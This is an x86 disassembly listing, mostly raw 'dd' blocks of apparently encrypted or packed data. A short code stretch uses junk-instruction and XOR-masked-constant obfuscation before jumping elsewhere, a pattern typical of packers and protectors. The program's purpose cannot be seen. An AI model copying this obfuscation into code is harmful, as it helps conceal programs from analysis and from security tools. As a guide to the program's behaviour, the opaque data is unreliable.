		dd 3D959F08h, 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h
		dd 0D394BFB3h, 321566DDh, 0B79EBF3Ah, 340A6181h, 3AE4F3CFh
		dd 8F96603Dh, 340A7BFCh, 0FB916989h, 9EA99BAh, 3A9769FAh
		dd 9156611h, 55936952h,	7CEA99B9h, 0FD3EA8A9h, 82108F92h
		dd 9984CC61h, 0CDEDEEADh, 0E13ECDDh, 349169F9h,	0CA156688h
		dd 32157EADh, 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh
		dd 998662C9h, 37D3E54Ah, 5444A571h, 0F12960CFh,	3255E22Dh
		dd 0F9296611h, 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h
		dd 3225E287h, 0F736644h, 0B61A43DDh, 32156621h,	0CD3B5BEEh
		dd 3218E34Bh, 749F6622h, 0EE54213h, 11916928h, 6B156644h
		dd 322C8FDAh, 0FB266611h, 320C8FC9h, 31AC6644h,	0DB156622h
		dd 3215661Eh, 32156031h, 32108F44h, 35AC6622h, 0C1156611h
		dd 0C398ED2Ch, 0B713794Ch, 349069EBh, 0BB156611h, 2D1D973Dh
		dd 0F1EC3F42h, 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch
		dd 3D659DA2h, 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h
		dd 32152195h, 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h
		dd 0CD280088h, 1F916961h, 0E156622h, 179169DBh,	0E156688h
		dd 509169A7h, 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h
		dd 92299606h, 3213E21Eh, 0DBED6688h, 3215664Bh,	3AE4D3ABh
		dd 0AF98600Eh, 34302AAFh, 0F1ECB5BBh, 2253ED72h, 3440E398h
		dd 0B14D6097h, 8F987A82h, 340A548Bh, 165165BCh,	8F98CDACh
		dd 340A485Dh, 1651658Fh, 0BFBE3635h, 2D018B35h,	7616CB42h
		dd 6CBE4E06h, 0AF9830D2h, 34302A88h, 95FCB5BBh,	0DFFFFFFFh
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 584FC0D5h,	0ED96A460h
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 0AFD8A5CEh, 32DCF143h
		dd 8C30E432h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 65CE38C8h, 7462C71h,	8D9FC4DFh, 3C6D552h, 92B85E00h
		dd 5E98354h, 0CB8BA4F3h, 0DABA31E4h, 32565DB1h,	6EBC2FEBh
		dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h,	75DF79F4h
		dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h
		dd 2D76F034h, 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h
		dd 0FB5F0FA8h, 0F53FD525h, 4FB2ADFDh, 34229150h, 0AC7ACFB7h
		dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0D8C94298h, 0B2FFA073h
		dd 7D7C0AC7h, 5E983C8h,	0DB8BA4F3h, 0E6ECBD8Dh,	8D8D0625h
		dd 62601D3h, 156644B8h,	0C1CF2B32h, 73102E9h, 0C783C8D0h
		dd 850F4904h, 0FFFFFFF2h
		dd 0BD83C08Bh, 61F06C1h, 83097500h, 1F1F51BDh, 19740006h
		dd 0C08B5350h, 411B8h, 95858900h, 8D061F13h, 21B00B9Dh
		dd 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h, 411B8h, 95858900h
		dd 8D061F13h, 21ACAC9Dh, 5BD3FF06h, 0BBC08B58h,	4672A4F2h
		dd 0F60A04EBh, 0CE9149Bh, 0DE000005h, 0F8BC33CEh, 17DB52ADh
		dd 33F76E93h, 4E128976h, 0E632A958h, 847D292Ch,	0A56A490Dh
		dd 0C33E6A2Eh, 0E01F884Ch, 7B27A069h, 19AD9EA3h, 458BFE36h
		dd 570B9D62h, 0B039B24Fh, 0D3A22C04h, 0E70BBF1Fh, 4FBAC70h
		dd 16E9BE72h, 2AD5D084h, 0DFFF8E98h, 239A6542h,	41B8495Fh
		dd 44D62B7Dh, 5AEC2390h, 1E8B4BC8h, 83A74FE1h, 5D4BD608h
		dd 5FF11098h, 0BA923EB7h, 4D1FD3A2h, 0F17EF599h, 26B948BBh
		dd 0D9015Dh, 65BF1AC5h,	45F519BDh, 6B0B9D62h, 1FD45C96h
		dd 13AA42Fh, 0F6BF9B8h,	6855h, 0BC7CE200h, 40F014EBh, 66069867h
		dd 1FD3A194h, 0FD3EA02Bh, 0F094BCBCh, 151h, 6045DE00h
		dd 0D0900D9Fh, 0F29A2CE3h, 6C871ECEh, 933C53Ch,	3438337h
		dd 29CD71CCh, 39C6E397h, 0B38B37C0h, 461FD311h,	0D2DC6E92h
		dd 0DF208545h, 668A772Fh, 772EF3EBh, 644F0F88h,	4B7119ABh
		dd 0E24F01D3h, 4FC6EAB9h, 6CE31C8Bh, 0A06145F5h, 1AF29E27h
		dd 0AD1FD3A2h, 8F43D5F9h, 0D357E916h, 0B9B8658h, 0ECBB7FF6h
		dd 0DDCD8113h, 0B1309224h, 0BA3B0E2Dh, 7572F094h, 0FF000000h
		dd 0EA06145h, 4A5505Ah,	11C557FBh, 0B24D5C99h, 0E2C87C0Eh
		dd 0F4838D1Fh, 0AE3D43EAh, 4CB5F130h, 6C9511D5h, 7C8326DAh
		dd 4B0B88EAh, 6D15A768h, 2B10CE49h, 0F094BA1Eh,	4E8Fh
		dd 61451C00h, 0D1910EA0h, 58082CD5h, 5830DC50h,	0EB1FD3A1h
		dd 911A9337h, 0D3A20DE5h, 0C8ECA01Fh, 0AA6AF736h, 62DD0100h
		dd 1A57Ch, 693CFC89h, 4FE1208Ah, 7CDF03A7h, 0D9F6045h
		dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 157F0h, 45E40000h
		dd 431BC765h, 0D61FD3A1h, 38EC7E22h, 5717906Fh,	0F88AAE53h
		dd 8129E966h, 2046EE80h, 82776AF3h, 0BB365A5Eh,	55ACFE23h
		dd 0C1C077DEh, 0FD761AE7h, 0F059F051h, 4FE19515h, 7AF30C9Bh
		dd 0A105F0BAh, 9743BC60h, 25F258BFh, 37A9E52h, 597683Fh
		dd 0F2589365h, 0CF8F1C25h, 0E39729D6h, 749A3EC3h, 8CE7486Bh
		dd 8D082C38h, 28D7D051h, 436424B1h, 6307FAB0h, 0E7188F3Fh
		dd 0F906A155h, 0AA6AE367h, 52AFF7FEh, 0CF0F8AAEh, 0C2C85389h
		dd 0E1349B46h, 19E4BC68h, 0C37725F2h, 72B8EF9Fh, 7608F7B2h
		dd 195A32CEh, 39ED25F2h, 25741E95h, 0C8097534h,	15Eh, 98467C55h
		dd 7C965C57h, 9A9DF014h, 0DD27EF7h, 0BA15F075h,	0E7C07406h
		dd 0CADDA118h, 0B8EFA335h, 21866F3Bh, 0A44CDEh,	9316CA5Ch
		dd 8026DA6Ch, 9747EF81h, 1E5DEF10h, 5D094F8Fh, 25F27485h
		dd 40C06418h, 7F3F19C5h, 0C845D728h, 0F274441Ch, 7F23D725h
		dd 3FCAB5Bh, 0CA76FF8Ch, 25F274F2h, 2E679A0Eh, 0F9C0567Ah
		dd 34097591h, 44BDEBABh, 0F280D0A8h, 8BAF6325h,	4DF2h
		dd 93A27F00h, 71D985FEh, 0E41FD3A3h, 0DB7F8224h, 0A2D1A949h
		dd 0D5601FD3h, 1A8F4F09h, 0C76EC1E5h, 359D49C2h, 0A81FD3A4h
		dd 0C56D8972h, 2287B961h, 0FFA34BDDh, 0A7B5E45Bh, 28000000h
		dd 0AA1BF39Fh, 25AE1FD3h, 0D3A9A179h, 0DC80341Fh, 95A255B8h
		dd 52DB8700h, 8715F0BBh, 9123ECC7h, 0CC8CC5E9h,	0EA9224DBh
		dd 0A700B446h, 8A1DE158h, 0B17CA5F3h, 52F673F6h, 728F19D9h
		dd 4D1CBC4Eh, 0D025F36Fh, 23849D41h, 0EC40705Ah, 47EBF4E9h
		dd 0BBCE69D0h, 0BB820C42h, 0A9CF3274h, 577D1C7Fh, 0D7207E4h
		dd 2EA7CB1Ah, 18C21482h, 51E3971Ch, 63F50A9Dh, 780AF7AFh
		dd 0C0774FFBh, 560A2C18h, 6BFD04A6h, 0EC419D2Ch, 7FFFDF5Eh
		dd 0B05CD5B8h, 223EC542h, 0D9A11C5h, 0E9866DD7h, 0AB5B9EA1h
		dd 0C97103FCh, 95A242A5h, 6DDB8700h, 0F015F9A6h, 0A5E3BB67h
		dd 0C27625F9h, 0CFD88C1Eh, 0B2F5B930h, 0B53EBB4Dh, 0F9A53109h
		dd 0EC10C425h, 37A45A50h, 4D912030h, 0B52CD3D4h, 6C3DB6F1h
		dd 0B5590193h, 0D72A7C3Ch, 0E7799D45h, 0F7897633h, 8B28E865h
		dd 0D14AF284h, 0B7A44D25h, 82CE038h, 0D7D0518Dh, 0E678971Ch
		dd 0FD917DBCh, 973B3DB9h, 0EFB87CF3h, 35F7E10h,	0E8000000h
		dd 674540A7h, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h
		dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h
		dd 0C281E289h, 4, 3304EA83h, 14312414h,	24143324h, 0E789575Ch
		dd 4C781h, 0EF830000h, 243C8704h, 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 6260367h
		push	ebx
		xor	dword ptr [esp], 49092417h
		pop	ecx
		xor	ecx, 49092417h
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		dd 0E7CB612Ch, 44535A6Ch, 0B8F11601h, 62607D7h,	0E0FFC503h
		dd 5BF83BFh, 77EE5543h,	73F793B1h, 73A43B97h, 30753DA3h
		dd 530B0F2h, 24EA5996h,	0DF089B2h, 5FA5ACA3h, 60BD9DDFh
		dd 68E82F59h, 80D9D39h,	56415B1Fh, 1E03DFE9h, 20EEC591h
		dd 1BAEC589h, 5BC5266h,	39D3218Ah, 2B9A34A3h, 71BE3577h
		dd 1E31F21h, 62D747BBh,	46BDE76Dh, 6341E585h, 404878D0h
		dd 31B648E1h, 42B8EDD1h, 269FD6DAh, 0BCD704EBh,	7AE92FC4h
		dd 4E000005h, 682CA35Eh, 874BC23Dh, 0A367DE23h,	0BE82F906h
		dd 56A219E8h, 0F40D999Ch, 15FAB97Dh, 33CEDA9Eh,	50AFF8BCh
		dd 0EB9710D9h, 19AD9A13h, 7CFB6EA6h, 8517EABCh,	9729D6D1h
		dd 77274BEFh, 12E3C330h, 2ED66897h, 0AC50F88Ah,	3646FD33h
		dd 2EE23824h, 4AF2847Bh, 0A9812DA6h, 3C1FD2D4h,	1ED26488h
		dd 3E027988h, 50049669h, 0A62FA857h, 0AB3DC4E6h, 0D48F6703h
		dd 6E221FD2h, 0A104B84Ah, 33C2CC5Eh, 7824ADABh,	1FD2D4A0h
		dd 0AB5B7F33h, 0AA822EFCh, 3D1FD2D4h, 0E16EE589h, 28FA8521h
		dd 4C41443Ah, 3BEB0FB3h, 591D946Dh, 7939B24Fh, 8B3FD12Eh
		dd 1C40E41Dh, 5A4D0D8Ah, 0E2D181A5h, 0BEE79B2Dh, 0ADFBAF41h
		dd 29B8C254h, 6DEA78B5h, 3FB7737h, 62860176h, 7E2AF7E7h
		dd 497F0C83h, 0A8EDD40Dh, 6565AA47h, 56E856E1h,	0C9DE8EB2h
		dd 2F04A436h, 451FD2FBh, 5A0EA061h, 0DF1EB04Fh,	13938E50h
		dd 921D4AEEh, 594C0C4Ch, 486C14A6h, 941BE7B2h, 5C06F0h
		dd 45930000h, 6B0B9D62h, 1FD3A199h, 0BFE7A730h,	0B4A6FC0h
		dd 0A94D224Fh, 0D04B6F17h, 496C2D0Eh, 181F094h,	0E000000h
		dd 269F6045h, 2ABC4366h, 4FCC5E82h, 0DE69248Fh,	8FA65C6Eh
		dd 5A0EA044h, 0EE12B659h, 698673Eh, 0A9C5752h, 9E6347F7h
		dd 0CF5E68FAh, 6C93120Fh, 897631F5h, 61459B12h,	0D1910EA0h
		dd 0EF9729D6h, 0A1F2CA76h, 0D1851FD3h, 57A8FDADh, 689911C5h
		dd 7B8622D6h, 0F4EA65E9h, 0A1E0B864h, 0BF731FD3h, 0BE209B1Bh
		dd 47BE4363h, 0E4CF2483h, 41F5872Bh, 0A4069869h, 0DF9FB925h
		dd 0FDA537C8h, 0BA0643D9h, 7CA7F094h, 34000000h, 16E9BC7Ch
		dd 0C86442F2h, 0D3A1441Ch, 7323D71Fh, 933BCD32h, 134076EFh
		dd 6689D745h, 0A559EB0Fh, 606AFC05h, 92140DD1h,	7234F86Fh
		dd 0E18D168Fh, 1FD37A09h, 7138E89Ch, 24D86A8Eh,	0AF9EF885h
		dd 186E3DAh, 0EA69CB5Dh, 0AC0247F4h, 4CABF094h,	38000000h
		dd 0EA06145h, 21B34E5Ah, 33C53A6Dh, 0DCCB287Fh,	70ED7F23h
		dd 0D3A1ECC4h, 90CB7F1Fh, 1550DD01h, 0DDC95886h, 4536AD24h
		dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah,	0E5568813h
		dd 0F094BC94h, 639h, 0B7F0B000h, 45C12448h, 0A107C765h
		dd 0A1ECC460h, 933F1FD3h, 1FD3A1BBh, 0AD619A4Eh, 0B381C787h
		dd 1A56C57h, 3EECBB6Fh,	0D374BA92h, 1A8D4D1Fh, 0B9D41E5h
		dd 3DE4FA79h, 5B1B946Dh, 771FB14Eh, 8F4FDC53h, 73C6EA17h
		dd 0AC58D1C4h, 15F08A4Bh, 3AC33CF0h, 8A2D05B1h,	0CC025F2h
		dd 0F28A9870h, 486B2B25h, 0F0FD23C7h, 1016725Ch, 7A2EC0E4h
		dd 975BD22Dh, 0BD5DEF10h, 25F28DEBh, 5FF9E574h,	0D7FB149Fh
		dd 67F8027h, 7CA05F46h,	99664105h, 0AB545307h, 0C41A9519h
		dd 0A334A5Dh, 0E368C8C7h, 0CD77EE92h, 9750E8Ch,	14121h
		dd 467CAE00h, 0A5454EB1h, 60B3D7CAh, 7939B2D7h,	953DCF30h
		dd 874CF871h, 3415F024h, 6D3AEE80h, 50571B92h, 3E691DAFh
		dd 8A89F4B5h, 0DC1DF0A3h, 1A93BDFh, 0CC47CB5Dh,	67980F12h
		dd 237346F0h, 699A0975h, 11000000h, 0A12585DBh,	0D4F8B0F4h
		dd 0FE93A271h, 693CFC85h, 385C0496h, 0D3A3349Ch, 7AF3A71Fh
		dd 0E49C1444h, 0B7DBF1D9h, 0D8AD8525h, 0B13C1FD2h, 3E6B2B2Dh
		dd 0EB4A9DC1h, 64F6199Ah, 0F39F18BCh, 1FD2DA8Bh, 0F1C975FEh
		dd 841FD2D9h, 0D9774FFBh, 560A1FD2h, 0A970EB2h,	0D9FDD581h
		dd 0DC901FD2h, 989DB8h,	50100000h, 2083A75Ah, 870095A2h
		dd 0F0BB52DBh, 8113C715h, 0A450DACDh, 25F2BBCCh, 485AB5Fh
		dd 0DE27682h, 19DD54F8h, 62DF718Eh, 7B2703A2h, 25F2D0A3h
		dd 4CDE8236h, 15E480A4h, 9825F2D2h, 5B4CD509h, 37F52BA4h
		dd 8DE84373h, 7AD8FE86h, 0A14535A7h, 989F067Dh,	0D2D07CF5h
		dd 751C1921h, 6C10F1B5h, 0E6BE6AF3h, 792C1921h,	216C44F0h
		dd 4BFF2C19h, 0AA822EA7h, 3D2C1921h, 1FD36589h,	53E57788h
		dd 8E4E0AD4h, 0AE56E817h, 8D00378Ah, 2A6A6814h,	590D223Fh
		dd 95A26BE2h, 0DDDB8700h, 8015F9AAh, 87BD3ACCh,	3A24CC56h
		dd 847B2CEBh, 9B0CBCE0h, 7E29ED64h, 0D62800ACh,	7BB25F9h
		dd 0D60AE28Eh, 0E99D25F9h, 0D43CC45h, 0DF702EF2h, 0A9811D36h
		dd 3C25FA1Bh, 32D26488h, 375A8DA9h, 0A204C451h,	125CD5Fh
		dd 0DEC95886h, 0C1E6AA21h, 0A205C53Eh, 0F3A7395Dh, 25B749B6h
		dd 0BEE938A6h, 0A106CA41h, 8F4FCC5Eh, 0F0756518h, 4FA6AD05h
		dd 0C17119ABh, 0E0881AE7h, 11A1BCh, 7C2A0000h, 8517EABCh
		dd 0EE6BB9DDh, 0F5877A2Eh, 45C6294Dh, 54089A67h, 661AAC53h
		dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
		dd 0DA8E20E1h, 86A234CBh, 44E168h, 24048900h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 50243C89h, 405E089h, 2D000000h
		dd 4, 5C240487h, 68240C89h, 62608F7h, 81243C8Bh, 4C4h
		dd 35A46800h, 24890000h, 24048324h, 57555904h, 0EF243481h
		dd 5D0D4324h, 24EFF581h, 69890D43h, 34FF5D08h, 0C4835924h
		dd 2434FF04h, 4C4815Fh,	0E9000000h, 0FFF96F12h,	0DFCB874h
		dd 0C5030626h, 3E68E0FFh, 2731C72h, 2C9E7BA2h, 95C64458h
		dd 6FA46BE5h, 54F14A8Fh, 771B0654h, 79D307E4h, 96442386h
		dd 4810251h, 3C203DEEh,	30A93531h, 7FEB331Ch, 42586670h
		dd 0A8E97F3Dh, 80D406F7h, 9AAF7473h, 53B531E3h,	0B58D3680h
		dd 5B9B601Fh, 0D7FD0DA2h, 0CDDD7294h, 2292740Ch, 0AA51D9Bh
		dd 949C0673h, 30BD2C59h, 0EDE97E94h, 60000000h,	0A8D88C66h
		dd 0DF840F04h, 8B000000h, 1F2409B5h, 0FE8306h, 22850Fh
		dd 85C60000h, 61F2025h,	69696845h, 0B5FF8E72h, 61F20D9h
		dd 7993858Dh, 0D0FF0622h, 0EE18589h, 0F08B061Fh, 0FE93E80h
		dd 3185h, 0BC858D00h, 0FF06247Eh, 0B5BD8BD0h, 81061F1Bh
		dd 1184C7h, 9B58B00h, 87061F24h, 8B9F7h, 0A4F30000h, 2409B58Bh
		dd 858D061Fh, 62333A9h,	0B58BD0FFh, 61F234Dh, 0F00FE83h
		dd 2285h, 2585C600h, 54061F20h,	4EBEF468h, 0D9B5FFFFh
		dd 8D061F20h, 22799385h, 89D0FF06h, 1F234D85h, 80F08B06h
		dd 850FE93Eh, 3Ah, 234DB58Bh, 858D061Fh, 6247EBCh, 0BD8BD0FFh
		dd 61F1BB5h, 1184C781h,	0C7830000h, 4DB58B08h, 87061F23h
		dd 8B9F7h, 0A4F30000h, 234DB58Bh, 858D061Fh, 62333A9h
		dd 0C361D0FFh, 0EE7858Dh, 85890626h, 61F2B21h, 12E8h, 0E5468E00h
		dd 766E5E50h, 28FC558Bh, 0DA03216Fh, 5AE7919Fh,	8810Fh
		dd 890F0000h, 2, 0C28107B1h, 7398h, 0D6E4BB66h,	1CB4BEh
		dd 32FFF500h, 6E8h, 9F08C800h, 0E9F3E33Fh, 13h,	77EFD7BEh
		dd 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah, 5F42C56Ch, 0E3816658h
		dd 0E881179Fh, 2EF46714h, 8161C980h, 6424D1F0h,	0A0E3806Dh
		dd 1B17E881h, 51505B98h, 7E9h, 0FA95C00h, 17321BFh
		dd 0B1028F5Bh, 4EA8320h, 61605260h, 0F2BF0F59h,	1EE8361h
		dd 1C850Fh, 81660000h, 0E9AF93DBh, 25h,	0B6C03AECh, 1FD93B6Ch
		dd 0DEB2D349h, 6F19A4EEh, 830FE6C8h, 0
		dd 0FFFF6DE9h, 0C62E36FFh, 6483EC34h, 8EB45h, 0CC000000h
		dd 0E903C826h, 513h, 2611F168h,	6CB8E906h, 7968FFF9h, 0E9062612h
		dd 0FFF96CAEh, 2613A568h, 6CA4E906h, 4567FFF9h,	248145BCh
		dd 0AA064DBh, 0EDBC80F7h, 0CFD79B12h, 0B56FBB32h, 940BF6B0h
		dd 0B52CE3D0h, 0D34AB7F1h, 0F067980Fh, 2A02AE27h, 0BD19AD92h
		dd 61451285h, 0A1471FCBh, 51DA1FD3h, 0D3A1CDA5h, 8AC601Fh
		dd 0A20BE38Fh, 0EA9E1FD3h, 0A60DCD46h, 10F1B969h, 1A65AECh
		dd 0BB4DB4F2h, 6BF86F13h, 0E30708ABh, 69E2A790h, 0F095A8BDh
		dd 0EF813515h, 0F2D47B4Fh, 0E7188F25h, 7508A155h, 0DF54DB06h
		dd 0A739DDF8h, 5DD00E9Dh, 0DD5E80FFh, 974029Ch,	2CD31h
		dd 7FEBBE00h, 28D4EC4Bh, 1FD3A150h, 128B2FE3h, 0F081AD66h
		dd 0FB8E4215h, 0D5E90E5Bh, 0C3C67122h, 0A801C14Ah, 0F91DC557h
		dd 7508705Dh, 6877AD19h, 0C5B4EE64h, 0EF818026h, 467FA347h
		dd 4D830092h, 0D04CC7CEh, 5BAED222h, 9440B9DCh,	1F940EF3h
		dd 2ED1D898h, 0D750F49Ch, 8CED9017h, 1889CEF3h,	67F46B0Fh
		dd 748B1EDEh, 0C69E3AE2h, 592F9683h, 0D6D181A5h, 9AE5C229h
		dd 0AA0F9EBh, 310EBh, 0A9585400h, 0C8376E32h, 0E41D8D51h
		dd 0FF00A96Dh, 1FE2C488h, 9BA25CA8h, 0BB7FF60Bh, 0DCA017F8h
		dd 0FABE35CCh, 12DB52ADh, 9115ED99h, 70A819ADh,	95A2FDh
		dd 0B398DB87h, 854515F9h, 0A149DB24h, 0B2A47C28h, 833725F9h
		dd 0A666DFh, 7E528801h,	7B4EFAD3h, 4D1188ACh, 9916A859h
		dd 678C6410h, 0FDA825FAh, 8FC87002h, 4C1BB7DBh,	5A25FA67h
		dd 100A64Dh, 6804DC88h,	0E39725FAh, 0BEA9D83Fh,	16ACF00Fh
		dd 288F7h, 21E0CC00h, 40BFE6AAh, 5CA505C9h, 778821E5h
		dd 976A3C00h, 131AD420h, 33F76E93h, 54188F80h, 7236AD54h
		dd 8A53CA35h, 8F8D6511h, 0E82019ADh, 95A275h, 61255187h
		dd 62F40D9Bh, 11AE94BAh, 630F88ACh, 15F9A220h, 68990DCDh
		dd 0BE9232C4h, 0D225F9A1h, 0D5AD59E1h, 6825F9A1h, 0CA7E10B4h
		dd 539224DBh, 0B5131AC4h, 0C693A836h, 0E7094EB8h, 152h
		dd 0ECBC7C74h, 0B7DB8315h, 0CD5FA007h, 0F8718E19h, 2947B38h
		dd 58BF365Ah, 8531AADFh, 15F0A970h, 17B749FDh, 25F2A843h
		dd 87B42AA9h, 9744132h,	25DBh, 95A26800h, 0E3C78700h, 0D581FA1Eh
		dd 15F08130h, 0F79729DDh, 25F2C223h, 67D40A89h,	9745C12h
		dd 0B3BBh, 62454800h, 4F64249Dh, 560A9CC0h, 6B1FB150h
		dd 0B431C33Ch, 0B84AB5F4h, 6B3CEC10h, 7F6D1D94h, 0C21FD3A6h
		dd 86000A8Ch, 6488ED72h, 950CF3B4h, 4002092Eh, 552DD9BEh
		dd 0E81FD3A2h, 0AF710E34h, 22C63B6Bh, 7459057Eh, 2115F5FFh
		dd 7234F46Dh, 5254188Fh, 0E65748AFh, 7C12F00Bh,	15C5Dh
		dd 0F50CA000h, 14EBBA7Eh, 30D1D99Dh, 4BB4F5B9h,	6B9610D4h
		dd 0E7EEA8F4h, 7CB42BFh, 28EC63ACh, 460A8180h, 5E279E61h
		dd 8E6139E5h, 0BCF419ADh, 0A0614549h, 1AF29E27h, 0AD1FD3A2h
		dd 0A06149F9h, 0B878057Ch, 0B9913DEDh, 4C1FD3A1h, 20D0F498h
		dd 8A017887h, 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h
		dd 24DDCD8Dh, 12665FEh,	2C5030ACh, 0B22B5ED9h, 0F075C206h
		dd 27376D15h, 0D169B301h, 8A4AC367h, 0BE6EE51Ch, 25F1FDEAh
		dd 0DF56A9FEh, 0E4768B1Bh, 0C4C5h, 95A24E00h, 439B277Eh
		dd 0CE72A002h, 9DA2A955h, 8E1715F9h, 0F99D0AE2h, 45E99D25h
		dd 0E5A296CCh, 9A505C36h, 7730E476h, 4E841188h,	3BE7773Eh
		dd 25F95A63h, 421C42F6h, 8C3C60C9h, 356BE41Bh, 7238AA30h
		dd 65BF698Fh, 0E68A7731h, 0FD8F7236h, 0FF9F3155h, 1B474E13h
		dd 78FE34C1h, 4426FCABh, 0B925A0C4h, 3BD4DF9Fh,	585101A9h
		dd 496D15A7h, 0DF6F0E99h, 6FAE9B12h, 26B32ACEh,	2FC14066h
		dd 0F4B36387h, 73FC790Bh, 0E752EFC7h, 0AACE822Bh, 0BE50AFFAh
		dd 2731AD2Ch, 9DC13E67h, 0CE45BAEDh, 0E9629D0Ah, 0EF817E29h
		dd 52EEC672h, 0CD812BE7h, 54730529h, 0Dh, 0A12AA7DDh, 0D3A21DF5h
		dd 0D8FCB01Fh, 9A674575h, 0AC535408h, 0BF42661Ah, 0D53A792Dh
		dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh
		dd 0EC8386A2h, 24048904h, 405E089h, 83000000h, 48704E8h
		dd 1F685C24h, 8900001Ch, 89532434h, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 242C895Ch, 4AD6B850h, 0E7051D23h, 357D2405h
		dd 24876F5Eh, 3F2CAB0Dh, 46962523h, 5C055FF7h, 53E62F0Ah
		dd 0DE89C389h, 0DF68585Bh, 8900004Ch, 4812424h,	424h, 81565D00h
		dd 38B92404h, 458F00DFh, 91BB5308h, 8122D67Dh, 2946B5C3h
		dd 26EB815Dh, 8104653Dh, 44B199C3h, 85D2985h, 2434FF5Bh
		dd 4C4835Dh, 5E2434FFh,	0E904C483h, 0FFF967BAh,	1D1A6F3Bh
		dd 0E9A3E4AFh, 0B8B813FDh, 6261526h, 0E0FFC503h, 47A29B7Dh
		dd 3EF067F7h, 36AFA618h, 3918BB3Ah, 267843E4h, 6B89E98Ch
		dd 49C62974h, 6BFB9085h, 742F9931h, 5BFB5C70h, 16FF0F86h
		dd 2302050Eh, 1E2668CBh, 74CA902Ah, 16858D8Dh, 81660626h
		dd 895F61E8h, 1F0B5D8Dh, 0C7C68B06h, 1F20C585h,	6B0C06h
		dd 60C78B00h, 51FEB866h, 0C761EC8Ah, 1F137D85h,	6, 0B5FFF900h
		dd 61F1D15h, 2D3DB58Bh,	95FF061Fh, 61F2D59h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 66C35646h, 8B52C993h
		dd 1F2DD59Dh, 6A5F06h, 1D4595FFh, 0C08B061Fh, 0B0113BEBh
		dd 0DF217341h, 0F3D63D77h, 47DF7182h, 5409D14Eh, 77FDA53Dh
		dd 4E005C4Bh, 2F018F74h, 598889ABh, 0CD304FACh,	0E83BFD01h
		dd 0E5ED986Eh, 7BC33F5h, 0B9E1A83Ch, 65C31480h,	4104EB5Ah
		dd 0E92AA696h, 0CBEh, 2618A468h, 66A8E906h, 0A168FFF9h
		dd 0E9062619h, 0FFF9669Eh, 261BB068h, 6694E906h, 0C368FFF9h
		dd 0E906261Ch, 0FFF9668Ah, 261F7368h, 6680E906h, 0DA68FFF9h
		dd 0E9062620h, 0FFF96676h, 2621EB68h, 666CE906h, 7D2FFFF9h
		dd 5C490D84h, 42682CA3h, 258448BFh, 79F63DAh, 7D3783FAh
		dd 5CD32E78h, 7DF41B98h, 9B12EFB9h, 0B82FD0D7h,	0F2CA76EFh
		dd 8519AD8Ah, 0AF04C44Dh, 45D93C60h, 64249D62h,	32DBF42h
		dd 852D5B41h, 7323C798h, 19ABCF40h, 4DC2669Ch, 0B446B9ECh
		dd 0EBD2E60Ch, 9314C4E8h, 8226DA6Ch, 6E39ED7Fh,	5D4BFF91h
		dd 475E12A4h, 417E26B8h, 770528B6h, 6C3BE6F8h, 3FE32C87h
		dd 5FA204C8h, 7C8324E8h, 8E7136EAh, 287B017h, 7C540089h
		dd 221FD2EEh, 476565C9h, 883C75C8h, 0FC387062h,	0F41863DAh
		dd 4EBACF7Bh, 934715F0h, 4FFB8401h, 25F24D77h, 0A45B4A0Ah
		dd 6C40DC00h, 8025F24Dh, 9347D928h, 4D57E916h, 0AF0D20BEh
		dd 0CC8DAE30h, 0E10975ECh, 34h,	0F20D9858h, 95A26BCEh
		dd 3EFE8700h, 3E16C26Ah, 0D11FD3A1h, 3FE7791Dh,	80DA7F1Bh
		dd 0D38715F0h, 0C0CDA141h, 0B43325F2h, 5D48112Ah, 0DF650974h
		dd 0F2000000h, 0BC1B6245h, 56293A26h, 4AEEC672h, 0CD811FD3h
		dd 3FF38529h, 0E41B8E67h, 8D06AA52h, 24DDCDh, 12EDBA6Eh
		dd 65430380h, 0DFC8789Ch, 0AF9A920h, 181FD350h,	35F9708Fh
		dd 0A4FB8D72h, 0D985FE93h, 15F06060h, 0E8C06CF5h, 7B25F25Fh
		dd 0EAAA23C7h, 0A81F43BEh, 1A93F641h, 13D0366Eh, 9E09C91Ch
